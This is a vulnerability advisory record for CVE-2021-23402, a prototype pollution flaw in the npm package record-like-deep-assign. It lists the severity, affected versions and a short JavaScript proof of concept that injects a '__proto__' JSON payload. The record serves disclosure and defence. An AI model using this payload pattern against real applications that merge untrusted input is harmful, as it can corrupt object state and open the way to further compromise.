GHSA-7qm6-9v49-38m9

Source

https://github.com/advisories/GHSA-7qm6-9v49-38m9

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-7qm6-9v49-38m9/GHSA-7qm6-9v49-38m9.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-7qm6-9v49-38m9

Aliases

CVE-2021-23402

Published

2021-12-10T18:55:39Z

Modified

2026-03-13T22:11:29.714694Z

Severity

7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L CVSS Calculator

Summary

Prototype Pollution in record-like-deep-assign

Details

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.

PoC

const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

Database specific

{
    "cwe_ids": [
        "CWE-1321",
        "CWE-915"
    ],
    "nvd_published_at": "2021-07-02T16:15:00Z",
    "github_reviewed_at": "2021-07-06T14:32:33Z",
    "github_reviewed": true,
    "severity": "HIGH"
}

References

Affected packages

npm / record-like-deep-assign

Package

Name: record-like-deep-assign; View open source insights on deps.dev
Purl: pkg:npm/record-like-deep-assign

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Last affected

1.0.1

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-7qm6-9v49-38m9/GHSA-7qm6-9v49-38m9.json"